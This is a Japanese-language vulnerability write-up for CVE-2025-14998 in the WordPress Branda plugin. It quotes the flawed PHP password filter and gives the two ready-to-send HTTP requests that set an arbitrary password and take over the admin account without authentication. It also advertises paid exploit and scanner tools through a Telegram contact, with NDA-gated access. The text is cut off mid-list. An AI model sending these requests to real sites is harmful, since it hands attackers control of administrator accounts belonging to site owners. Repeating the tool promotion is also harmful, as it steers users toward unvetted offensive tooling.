
CVE-2025-14998 Wordpress Plugin - Branda – White Label & Branding, Free Login Page Customizer <= 3.4.24 - 未認証の権限昇格(アカウント乗っ取り経由)
CVE-2025-14998 WordPress用Brandaプラグインは、バージョン3.4.24までの全バージョンにおいて、アカウント乗っ取りによる権限昇格の脆弱性があります。これは、プラグインがパスワード更新時にユーザーの身元を適切に検証しないことに起因します。このため、認証されていない攻撃者が管理者を含む任意のユーザーのパスワードを変更し、そのアカウントへのアクセス権を取得することが可能です。
WordPressの脆弱性や限定ペネトレーションテストツールについては、Telegram @KtN1990までご連絡ください。
プラグインは、random_passwordフィルターにフックすることでWordPressのパスワード生成ロジックを上書きします。WordPressが安全なランダムパスワードを生成する代わりに、プラグインはユーザーが制御する入力で置き換えます。
public function password_random_password_filter( $password ) {
global $wpdb, $signup_password_use_encryption;
if ( isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ) {
$key = $_GET['key'];
} elseif ( isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ) {
$key = $_POST['key'];
}
if ( ! empty( $_POST['password_1'] ) ) {
$password = $_POST['password_1'];
} elseif ( ! empty( $key ) ) {
$signup = $wpdb->get_row(
$wpdb->prepare(
"SELECT * FROM $wpdb->signups WHERE activation_key = '%s'",
$key
)
);
if ( ! ( empty( $signup ) || $signup->active ) ) {
$meta = maybe_unserialize( $signup->meta );
if ( ! empty( $meta['password'] ) ) {
if ( 'yes' === $signup_password_use_encryption ) {
$password = $this->password_decrypt( $meta['password'] );
} else {
$password = $meta['password'];
}
}
}
}
return $password;
}
POST /wp/wp-login.php?action=lostpassword HTTP/1.1
Host: example.local
Content-Type: application/x-www-form-urlencoded
user_login=admin&
redirect_to=&
password_1=EfUSmvnTun5XbvE6RvIB&
wp-submit=Get+New+Password
password_1の値は攻撃者が制御する任意の文字列にすることができます。
GET /wp/wp-login.php?login=admin&key=EfUSmvnTun5XbvE6RvIB&action=rp HTTP/1.1
Host: example.local
メールアクセスや有効なパスワードリセットトークンは必要ありません。
認証されていない攻撃者は以下を実行できます:

-🛡️ 最適な対象: – セキュリティ研究者 – ペネトレーションテスター – 倫理的ハッカー
📦 ~230のレガシーリサーチモジュールを備えたメンテナンスライン。最近のスキャナーコアの改善により、安定性と検出能力が向上。
🎯 目的: 許可されたセキュリティテスト、教育、防御研究、レッドチームトレーニングのために厳密に提供されます。このリリースは不正使用を目的としていません。配布は制限されており、確認と署名済みの責任ある使用同意書/NDAの後にのみアクセス可能です。
-🛡 責任あるアクセスポリシー(概要):